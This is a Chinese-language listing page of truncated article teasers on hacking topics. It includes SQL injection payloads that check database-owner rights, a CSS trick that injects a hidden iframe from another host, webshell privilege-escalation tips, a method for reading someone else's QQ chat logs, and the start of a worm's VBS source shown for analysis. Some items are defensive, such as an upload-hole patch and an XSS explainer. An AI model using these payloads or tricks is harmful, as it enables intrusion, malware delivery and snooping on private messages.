返回顶部
位置:首页 > 网络编程 > 黑客相关>
阿D常用的一些注入命令整理小结

阿D常用的一些注入命令整理小结

佚名 2018-01-16

//看看是什么权限的

and 1=(Select IS_MEMBER('db_owner'))

And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--



//检测是否有读取
查看详情
跨站式脚本(Cross-SiteScripting)XSS攻击原理分析第1-4页

跨站式脚本(Cross-SiteScripting)XSS攻击原理分析第1-4页

佚名 2018-01-16

使用过ASP的同学一定见过这样的代码:

Hello,


复制代码 代码如下:

<%

Response.Write(Request.Querystring("name"))

%>



假如我传入的name的值为:
查看详情
超全的webshell权限提升方法

超全的webshell权限提升方法

佚名 2018-01-16

WEBSHELL权限提升技巧

c:d:e:.....

C:\DocumentsandSettings\AllUsers\「开始」菜单\程序\

看这里能不能跳转,我们从这里可以获取好多有用的信息比如Serv-U的路径
查看详情
网站中的隐形炸弹eWebEditor文件上传漏洞补丁

网站中的隐形炸弹eWebEditor文件上传漏洞补丁

佚名 2018-01-16

打开Upload.ASP文件



找到下面代码:


复制代码 代码如下:

<%

sAllowExt=Replace(UCase(sAllowExt),"ASP","")

%>



改为:


复制代码 代码如下:
查看详情
真正能用,还有点效果的CSS挂马代码的方法

真正能用,还有点效果的CSS挂马代码的方法

佚名 2018-01-16

网上流行的:

body

{

background-image:url('javascript:document.write("<Iframesrc=http://192.168.0.5/test.htmwidth=0height=0></iframe>")')

}

//此方法
查看详情
看别人怎么查QQ聊天记录 比较详细查询QQ聊天记录的方法?

看别人怎么查QQ聊天记录 比较详细查询QQ聊天记录的方法?

佚名 2018-01-16

要想看或导出对方的QQ聊天记录,需要使用专门的黑客软件吗?许多人会说当然需要!其实并非如此,只要把QQ的主文件改一改,我们就可以无需其的黑客软件,也无需知道对方的qq
查看详情
注册验证java代码[针对上篇文章]

注册验证java代码[针对上篇文章]

佚名 2018-01-16

http://www.jb51.net/article/19801.htm


复制代码 代码如下:

<%@ page contentType="text/html; charset=gb2312" language="java"%>

<%@ page import="java.sql
查看详情
新欢乐时光代码分析

新欢乐时光代码分析

佚名 2018-01-16

<%

DimInWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk



SubKJ_start()

'初始化变量

KJSetDim()

'初始化环境
查看详情